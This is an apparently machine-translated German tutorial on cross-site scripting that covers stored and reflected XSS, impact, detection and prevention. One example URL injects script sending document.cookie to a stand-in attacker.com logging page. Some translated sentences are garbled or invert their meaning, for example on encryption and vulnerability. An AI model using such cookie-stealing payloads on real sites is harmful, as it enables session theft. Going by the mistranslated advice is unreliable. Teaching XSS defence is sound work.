Einführung in Cross Site Scripting

  • Mit der zunehmenden Anzahl von Webanwendungen im Internet ist die Websicherheit zu einem wichtigen Anliegen geworden. Das Hacken und Stehlen der privaten Daten von Benutzern ist mittlerweile weit verbreitet und es droht ihnen, jede Anwendung zu verwenden. Cross Site Scripting ist einer der beliebtesten Angriffe auf die Websicherheit von Benutzern. Lassen Sie uns einen Einblick in das Cross-Site-Scripting bekommen.
  • Cross Site Scripting, auch als XSS bezeichnet, ist eine Sicherheitslücke, bei der der Angreifer versucht, einer vertrauenswürdigen Website / Webseite bösartigen Code in Form von Skripten hinzuzufügen. Es handelt sich um einen clientseitigen Code-Injection-Angriff, und das schädliche Skript wird im Webbrowser des Benutzers ausgeführt, wenn er auf diese Website / Webseite zugreift. Indirekt wird diese Website zum Medium, um den bösartigen Code an den Benutzer zu senden. Durch das Einfügen von Skripten umgehen Angreifer das DOM (Document Object Model) von Sicherheitsbeschränkungen und erhalten Zugriff auf den vertraulichen Seiteninhalt des Benutzers, Sitzungscookies und den Browserverlauf der meisten privaten Daten, die vom Browser verwaltet werden.
  • Websites mit Foren, Message Boards, Webseiten, auf denen Kommentare möglich sind, sowie Websites, auf denen nicht bereinigte Benutzereingaben und die so generierten Ausgaben verwendet werden, sind am anfälligsten für XSS-Angriffe. Obwohl die XSS-Angriffe in VBScript, ActiveX und CSS möglich sind, sind sie in Javascript am häufigsten anzutreffen, da sie für die meisten Browser-Erlebnisse von grundlegender Bedeutung sind.

Verschiedene Arten von Cross Site Scripting (XSS)

Obwohl es keine spezielle Klassifizierung für Cross Site Scripting gibt, haben einige Experten es in zwei Typen eingeteilt, die im Folgenden ausführlich erörtert werden:

Gespeicherte XSS-Angriffe :

  • Gespeichertes XSS sind solche, bei denen das vom Angreifer eingebrachte schädliche Skript in der Datenbank gespeichert wird und im Browser des Benutzers ausgeführt wird, wenn er versucht, in irgendeiner Form auf die Datenbank zuzugreifen. Diese werden auch als persistentes oder gespeichertes XSS bezeichnet. Dies ist einer der verheerendsten Angriffe und tritt insbesondere dann auf, wenn die Website / Webseite das Kommentieren oder Einbetten von HTML-Inhalten ermöglicht.
  • Der Angreifer fügt das Javascript in den Kommentar ein, der in der Datenbank gespeichert wird. Wenn der Benutzer auf die betroffene Seite zugreift und die Daten aus der Datenbank abruft, wird in seinem Browser ein bösartiges Skript ausgeführt, und der Angreifer erhält nicht autorisierten Zugriff auf die privaten Daten des Benutzers.
  • In einer E-Commerce-Website wie Olx, die ein nicht bereinigtes Meldungsfeld für die Produktbeschreibung enthält, fügt ein Angreifer, der der Produktverkäufer ist, das schädliche Javascript hinzu und es wird in der Datenbank der Website gespeichert.
  • Wenn der Käufer die Produktbeschreibung öffnet, um die Details des Produkts anzuzeigen, wird er zum Opfer, wenn das Skript in seinem Webbrowser ausgeführt wird, und alle Details des Benutzers, die der Browser zulässt, werden entführt.

Vorgehensweise XSS-Angriffe:

  • Dies ist eine der häufigsten Methoden, mit denen ein Angreifer einen XSS-Angriff auf den Benutzer auslösen kann. Grundsätzlich zielt der Angreifer bei Procedure XSS-Angriffen auf das Opfer ab, indem er eine E-Mail, einen schädlichen Link oder eine Zeichenfolge im Suchergebnis sendet, die auf eine vertrauenswürdige Website verweist, aber den schädlichen Javascript-Code enthält.
  • Wenn ein Opfer auf diese URL klickt, wird die HTTP-Anforderung initiiert und eine Anforderung an die anfällige Webanwendung gesendet. Die Anfrage wird dann mit einer Antwort auf den eingebetteten Javascript-Code an das Opfer zurückgeschickt, die der Webbrowser ausführt, wenn er davon ausgeht, dass sie von einer vertrauenswürdigen Website stammt, was zur Entführung der vertraulichen Daten seines Browsers führt.
  • In einer E-Commerce-Website gibt es beispielsweise ein Suchfeld, in dem ein Benutzer die Elemente durchsuchen kann, und die im Suchfeld geschriebene Zeichenfolge wird in der URL der Website angezeigt, wenn die Suchanforderung an den Server gesendet wird.
  • Der Angreifer erstellt einen Link, in dem das schädliche Skript in der URL verkettet und per E-Mail an das Opfer gesendet wird. Wenn das Opfer diesen Link öffnet, wird die Anfrage an die schädliche Website des Angreifers gesendet, und alle Browserdaten des Opfers werden entführt und an das System des Angreifers gesendet.

Wie funktioniert Cross Site Scripting (XSS)?

  • Bei der Sicherheitsanfälligkeit in Bezug auf Cross Site Scripting (XSS) besteht das Hauptmotiv des Angreifers darin, die Daten des Benutzers zu stehlen, indem das schädliche Skript in seinem Browser ausgeführt wird, das in den Website-Inhalt eingefügt wird, den der Benutzer auf unterschiedliche Weise verwendet.
  • Wenn ein Benutzer beispielsweise nach Text auf einer Website sucht, wird die Anforderung in der folgenden Form an den Server gesendet:

https://www.abcwebsite.com/search?q=text1

Im Suchergebnis gibt die Website das Ergebnis zusammen mit dem Ergebnis zurück, nach dem der Benutzer gesucht hat:

Sie haben gesucht nach: text1

Wenn die Suchfunktion für XSS anfällig ist, kann der Angreifer das schädliche Skript in die URL einfügen:

https://www.abcwebsite.com/search= document location = https: //attacker.com/log.php? c = '+ encodeURIComponent (document.cookie)
  • Wenn das Opfer auf diesen Link klickt, wird es auf die schädliche Website (https://attacker.com) weitergeleitet, und alle Browserdaten werden direkt an den Computer des Angreifers gesendet, sodass der Angreifer alle Sitzungstoken / Cookies stiehlt.
  • Auf diese Weise fügt ein Angreifer sein bösartiges Skript in die URL ein. Attacker kann dieses Skript auch auf dem Server speichern, der unter Stored XSS aufgeführt ist.

Auswirkungen der Sicherheitsanfälligkeiten in Cross-Site Scripting:

Die Auswirkungen von Cross Site Scripting sind sehr unterschiedlich. Nach dem Ausnutzen der XSS-Sicherheitsanfälligkeit erlangt ein Angreifer die vollständige Kontrolle über den Browser des Opfers und kann verschiedene Aktionen ausführen, die von kleinen Aktionen wie dem Anzeigen des Browserverlaufs bis zu katastrophalen Aktionen wie dem Einfügen von Würmern in den Computer reichen.

Einige der Aktionen, die der Angreifer durch Ausnutzen der XSS-Sicherheitsanfälligkeit ausführen kann, lauten wie folgt:

  1. Verlust vertraulicher Informationen wie Benutzername und Passwort.
  2. Einfügen von Würmern in den Computer.
  3. Umleiten des Benutzers auf eine gefährliche Website und Erzwingen einiger Aktionen
  4. Zugriff auf den Browserverlauf des Opfers.
  5. Installation des Trojaner-Programms.
  6. Erzwingen Sie, dass der Benutzer die Werte in der Anwendung ausführt und ändert, indem Sie den Zugriff übernehmen

Auffinden von Cross-Site Scripting-Sicherheitslücken:

  • XSS-Schwachstellen treten aus zwei Gründen auf: Entweder wird die Eingabe des Benutzers vor dem Senden an den Server nicht überprüft, oder die an den Browser empfangene Ausgabe ist nicht HTML-codiert. Angesichts der katastrophalen Auswirkungen der XSS-Sicherheitsanfälligkeit und des Schutzes der Privatsphäre der Benutzer ist es sehr wichtig zu ermitteln, ob die Webanwendung für XSS anfällig ist oder nicht.
  • Obwohl es schwierig ist, XSS zu identifizieren und zu entfernen, ist es am besten, die Sicherheitsüberprüfung des Codes durchzuführen und nach allen Stellen zu suchen, an denen die Eingabe aus der HTTP-Anforderung als Ausgabe in einer Anwendung angezeigt werden kann. Die Verwendung der Tools zum automatischen Scannen von Sicherheitslücken, die ein spezielles XSS-Scannermodul zum Scannen der gesamten Webanwendung enthalten, kann auch beim Scannen und Auffinden der Sicherheitslücken in einer Anwendung hilfreich sein.

Wie kann ich XSS verhindern?

  • XSS ist eine Sicherheitsanfälligkeit bei der Codeinjektion. Daher ist es sehr wichtig, die Daten, die an den Server gesendet werden, und die Daten, die vom Server an den Browser eines Benutzers gesendet werden, zu verschlüsseln.
  • Die Datenüberprüfung ist auch sehr wichtig, damit der Browser den Code ohne schädliche Befehle interpretiert. Es wurden verschiedene Präventionsmethoden eingeführt, bei denen die Datenüberprüfung und -codierung Vorrang haben, damit eine Website für XSS anfällig wird.

Einige Punkte müssen fokussiert werden, um XSS zu verhindern:

  1. Die HTTP-Trace-Unterstützung auf allen Webservern sollte deaktiviert sein, da der Angreifer die Cookie- und privaten Browserdaten über einen HTTP-Trace-Aufruf vom Server stehlen kann, selbst wenn document.cookie im Browser des Opfers deaktiviert ist.
  2. Entwickler sollten die Eingabe bereinigen und niemals die direkt vom Benutzer empfangenen Daten ausgeben, ohne sie zu validieren.
  3. Links sollten generell nicht zugelassen werden, wenn sie nicht mit den Whitelist-Protokollen wie HTTP: //, https: // beginnen, wodurch die Verwendung von URI-Schemata wie Javascript: // verhindert wird.

Fazit:

XSS-Angriffe sind gefährlich und können die Privatsphäre des Benutzers beeinträchtigen und die Daten stehlen, es sei denn, der normale Benutzer durchsucht die Anwendung sorgfältig. Daher sollten Entwickler bei der Entwicklung der Anwendung die strengen Sicherheitsregeln befolgen, insbesondere für Daten und Server, damit die Anwendung für XSS am wenigsten anfällig ist und sich mehr Benutzer darauf verlassen können.

Empfohlene Artikel

Dies war ein Leitfaden für Was ist Cross Site Scripting ?. Hier diskutieren wir die verschiedenen Arten von Cross-Site, Arbeitsweise, Auswirkung und Verhinderung von XSS. Sie können auch unsere anderen Artikelvorschläge durchgehen, um mehr zu erfahren -

  1. Wie funktioniert JavaScript?
  2. Was ist ein Phishing-Angriff?
  3. Was ist ein Cyber-Angriff?
  4. HTTP-Caching
  5. Wie funktionieren Cookies in JavaScript mit Example?